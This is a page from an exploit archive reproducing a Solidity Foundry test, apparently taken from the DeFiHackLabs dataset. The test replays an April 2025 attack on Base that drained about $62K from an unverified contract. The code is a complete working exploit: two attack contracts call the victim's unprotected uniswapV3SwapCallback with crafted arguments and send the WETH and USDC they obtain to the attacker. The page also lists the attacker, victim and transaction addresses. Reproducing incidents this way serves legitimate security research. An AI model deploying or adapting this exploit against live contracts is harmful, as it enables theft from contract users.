Public reproduction file
src/test/2025-04/Unverified_6077_exp.sol
Public reproduction file for dataset entry Unverified 0x6077.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : ~ ($62.3K)8// Attacker : https://basescan.org/address/0x780e5cb8de79846f35541b700637057c9ddded689// Attack Contract : https://basescan.org/address/0x780e5cb8de79846f35541b700637057c9ddded6810// Vulnerable Contract : https://basescan.org/address/0x607742a2adea4037020e11bb67cb98e289e3ec7d11// Attack Tx : https://basescan.org/tx/0x1a6002d8aee205dff67cb2cdaf60569721655857d49ffe2ce81e10fde8c4594613// @Analysis14// Post-mortem : N/A15// Twitter Guy : https://x.com/TenArmorAlert/status/191066253360779688716// Hacking God : N/A18address constant WETH_ADDR = 0x4200000000000000000000000000000000000006;19address constant USDC_ADDR = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;21contract Unverified_6077_exp is BaseTestWithBalanceLog {22 uint256 blocknumToForkFrom = 28_791_090 - 1;24 function setUp() public {25 vm.createSelectFork("base", blocknumToForkFrom);26 // Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit27 fundingToken = WETH_ADDR;29 vm.label(WETH_ADDR, "WETH");30 vm.label(USDC_ADDR, "USDC");31 }33 function testExploit() public {34 AttackContract attackContract = new AttackContract();35 attackContract.start();36 AttackContract2 attackContract2 = new AttackContract2();37 attackContract2.start();39 emit log_named_decimal_uint("WETH", TokenHelper.getTokenBalance(WETH_ADDR, address(this)), 18);40 emit log_named_decimal_uint("USDC", TokenHelper.getTokenBalance(USDC_ADDR, address(this)), 6);41 }43 receive() external payable {}44}46contract AttackContract {47 address attacker;49 constructor() {50 attacker = msg.sender;51 }53 function start() public {54 address unverified_6077 = 0x607742A2Adea4037020e11Bb67CB98E289E3eC7D;55 IUniswapCallback(unverified_6077).uniswapV3SwapCallback(56 -125_859_570_852_398,57 22_510_000_000_000_000_000,58 hex"000000000000000000000000ddddf3d84a1e94036138cab7ff35d003c1207a7700000000000000000000000000000000000000000000000000005ad023c7e400"59 );61 TokenHelper.transferToken(WETH_ADDR, attacker, TokenHelper.getTokenBalance(WETH_ADDR, address(this)));62 }64 function token1() external view returns (address) {65 return WETH_ADDR;66 }68 receive() external payable {}69}71contract AttackContract2 {72 address attacker;74 constructor() {75 attacker = msg.sender;76 }78 function start() public {79 address unverified_6077 = 0x607742A2Adea4037020e11Bb67CB98E289E3eC7D;80 IUniswapCallback(unverified_6077).uniswapV3SwapCallback(81 -125_859_570_852_398,82 27_260_000_000,83 hex"000000000000000000000000ddddf3d84a1e94036138cab7ff35d003c1207a7700000000000000000000000000000000000000000000000000005ad023c7e400"84 );86 TokenHelper.transferToken(USDC_ADDR, attacker, TokenHelper.getTokenBalance(USDC_ADDR, address(this)));87 }89 function token1() external view returns (address) {90 return USDC_ADDR;91 }93 receive() external payable {}94}96interface IUniswapCallback {97 function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external;98}Analysis
Dataset entry
Public Foundry test for “Unverified 0x6077” (2025-04-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-04/AIRWA_exp.solSame month in the dataset · 105 lines
- src/test/2025-04/AmpKashi_exp.solSame month in the dataset · 267 lines
- src/test/2025-04/AventaRewardClaim_exp.solSame month in the dataset · 136 lines
- src/test/2025-04/bitdog_exp.solSame month in the dataset · 161 lines
- src/test/2025-04/BTNFT_exp.solSame month in the dataset · 77 lines
- src/test/2025-04/flylong_exp.solSame month in the dataset · 135 lines
- src/test/2025-04/ImpermaxV3_exp.solSame month in the dataset · 259 lines
- src/test/2025-04/Laundromat_exp.solSame month in the dataset · 101 lines
- src/test/2025-04/Lifeprotocol_exp.solSame month in the dataset · 71 lines
- src/test/2025-04/multitransferswap_exp.solSame month in the dataset · 190 lines
- src/test/2025-04/Roar_exp.solSame month in the dataset · 84 lines
- src/test/2025-04/tcdp_exp.solSame month in the dataset · 148 lines
- src/test/2025-04/YBToken_exp.solSame month in the dataset · 132 lines
- src/test/2026-03/unverified_237d_exp.solSame protocol or name in the dataset · 162 lines
- src/test/2026-03/unverified_1304_exp.solSame protocol or name in the dataset · 178 lines
- src/test/2025-08/unverified_d132_exp.solSame protocol or name in the dataset · 207 lines
- src/test/2025-07/unverified_8fd3_exp.solSame protocol or name in the dataset · 105 lines
- src/test/2025-03/unverified_3f27_exp.solSame protocol or name in the dataset · 112 lines
- src/test/2025-03/unverified_de7c_exp.solSame protocol or name in the dataset · 129 lines
- src/test/2025-07/unverified_54cd_exp.solSame protocol or name in the dataset · 77 lines
- src/test/2025-05/unverified_0000_exp.solSame protocol or name in the dataset · 99 lines
- src/test/2024-09/unverified_03f9_exp.solSame protocol or name in the dataset · 73 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x780e5cb8de79846f35541b700637057c9ddded68
- Attack Contract
0x780e5cb8de79846f35541b700637057c9ddded68
- Vulnerable Contract
0x607742a2adea4037020e11bb67cb98e289e3ec7d
- Attack Tx
0x1a6002d8aee205dff67cb2cdaf60569721655857d49ffe2ce81e10fde8c45946
File record
- Name
- Unverified 0x6077
- Path
- src/test/2025-04/Unverified_6077_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 0cee831543a96d2b25a2334910bf0c2730438133
- Language
- Solidity
- Size
- 99 lines
- Date
- 2025-04-11
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-04/Unverified_6077_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 0cee831543a96d2b25a2334910bf0c2730438133, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.